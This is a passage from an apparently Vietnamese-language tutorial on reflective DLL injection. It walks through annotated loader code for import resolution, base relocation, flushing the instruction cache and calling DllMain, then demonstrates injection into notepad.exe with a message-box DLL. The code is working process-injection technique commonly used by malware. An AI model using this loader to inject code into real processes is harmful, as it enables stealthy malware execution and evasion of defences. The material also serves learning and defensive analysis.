((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // tính toán VA cho API cần phân giải uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); // ghi đè VA của API tương ứng vào IAT DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); } // sử dụng tên API để phân giải địa chỉ else{ // tính toán địa chỉ của entry trong hint/name table uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); // ghi địa chỉ của API được phân giải vào IAT DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); } // duyệt qua entry tiếp theo trong IAT uiValueA += sizeof( ULONG_PTR ); if( uiValueD ) uiValueD += sizeof( ULONG_PTR ); } // duyệt qua DLL tiếp theo trong import directory uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); } ``` :diamond_shape_with_a_dot_inside: **Thực Hiện Quá Trình Relocation** :::info * Sau khi hoàn thành quá trình phân giải IAT, ta tiến hành thực hiện quá trình relocation. Quá trình relocation là cực kỳ quan trọng vì image base của target process khi nạp vào bộ nhớ có thể khác image base của source file. Nếu ta không thực hiện quá trình relocation một cách đúng đắn thì target process khi chạy sẽ có thể gây ra lỗi nghiêm trọng. * Để biết những vị trí nào cần thực hiện relocation, ta cần truy xuất vào base relocation table, table này chứa các relocation block, mỗi relocation block chứa những thông tin về các vị trí cần được relocation trong một page (độ lớn 4KB). Một relocation block được biểu diễn bởi hai cấu trúc là **BASE_RELOCATION_BLOCK** và **BASE_RELOCATION_ENTRY**, trong đó đối tượng của cấu trúc BASE_RELOCATION_BLOCK nằm ở đầu relocation block và theo sau đó là bao gồm một hoặc nhiều đối tượng của cấu trúc BASE_RELOCATION_ENTRY (có thể hiểu là một page có thể có một hoặc nhiều vị trí cần phải relocation). Dễ thấy, cấu trúc BASE_RELOCATION_BLOCK chứa RVA của page mà ta cần relocation và độ lớn của relocation block, còn cấu trúc BASE_RELOCATION_ENTRY chứa offset tính từ đầu page tới vị trí cần relocation và loại relocation (những loại relocation khác nhau sẽ thực hiện quá trình relocation một cách khác nhau). ::: ```cpp= typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; ``` :::info * Để thực hiện quá trình relocation thì đầu tiên ta kiểm tra độ chênh lệch giữa image base, độ chênh lệch này là **uiLibraryAddress** . Nếu độ chênh lệch có giá trị khác 0 thì ta sẽ thực hiện quá trình tái định vị. Nếu quá trình relocation được diễn ra thì ta tiến hành duyệt qua các relocation block để tính toán RVA của những vị trí cần relocation, với mỗi vị trí như vậy ta cập nhật giá trị bằng cách cộng thêm **uiLibraryAddress**. ::: ```cpp= // tính toán độ chênh lệch giữa image base uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; // tính toán địa chỉ của entry trong data directory tương ứng với base relocation table uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ){ uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // tiến hành quá trình relocation cho tất cả các relocation block while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ){ // tính toán VA của relocation block đang duyệt uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); // tính toán số lượng entry có trong relocation block này uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); // tính toán địa chỉ của entry đầu tiên trong relocation block uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); // duyệt qua tất cả các entry while( uiValueB-- ){ // mỗi loại relocation khác nhau sẽ thực hiện quá trình relocation khác nhau if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); // duyệt qua entry tiếp theo uiValueD += sizeof( IMAGE_RELOC ); } // duyệt qua relocation block tiếp theo uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; } } ``` ### :diamonds: Thực Hiện DllMain Có Trong DLL :::info * Tới đây thì mọi chuyện đơn giản rồi, ta chỉ cần gọi DllMain của DLL là xong. Nhưng trước khi thực hiện DllMain, ta cần phải gọi API **NtFlushInstructionCache()** trong ntdll.dll. Lí do ta thực hiện việc này là để đảm bảo rằng các thay đổi trên cache của target process sẽ được cập nhật vào bộ nhớ vật lý. Điều này rất cần thiết đối với các hoạt động quan trọng, như việc thay đổi mã máy tại các địa chỉ thực thi hay đồng bộ hóa dữ liệu giữa các bộ nhớ cache và bộ nhớ vật lý. ::: ```cpp= // tính toán entry point của DLL uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); // đồng bộ hóa bộ nhớ cache của target process với bộ nhớ vật lý pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR // gọi DllMain với tham số lpParameter ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); #else // gọi DllMain với không tham số ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); #endif ``` :::info * Hình bên dưới mô tả tổng quát quá trình thực hiện kỹ thuật reflective dll injection. :nerd_face: ::: ![](https://hackmd.io/_uploads/SyV3ZMtcn.png) ### 3. Demo Kỹ Thuật Reflective DLL Injection :::info * Mình sẽ thực hiện kỹ thuật reflective dll injection trên chương trình notepad.exe. Chức năng hàm **DllMain()** của DLL khá đơn giản, nó hiển thị lên một message box sau khi chèn DLL vào target process thành công. ::: ![](https://hackmd.io/_uploads/S1ClSYuq3.png) :::info * Sau khi chạy chương trình injectAllTheThings.exe thì có một message box được hiển thị lên, điều này có nghĩa là việc thực hiện kỹ thuật reflective dll injection đã thành công. :smiling_face_with_smiling_eyes_and_hand_covering_mouth: ::: ![](https://hackmd.io/_uploads/S1mnMtOcn.png) :::info * Để chắc chắn rằng quá trình chèn tiêm DLL đã thành công, ta tiến hành kiểm tra bộ nhớ của notepad.exe. Ở hình dưới, ta thấy rằng có một đoạn bộ nhớ tại địa chỉ 0x250000 có protection là **RWX**, tiếp tục nhấp vào nó để xem nội dung thì ta thấy rằng các byte đầu tiên của đoạn bộ nhớ này chính là DOS header và DOS stub của DLL. Vậy là quá trình chèn DLL của ta đã diễn ra thành công. ::: ![](https://hackmd.io/_uploads/BklnVYdq3.png) ### 4. Tham Khảo * https://github.com/milkdevil/injectAllTheThings/tree/master/injectAllTheThings * https://thejn.tistory.com/95?category=523162 * https://thejn.tistory.com/94?category=523162 * https://0xrick.github.io/win-internals/pe6/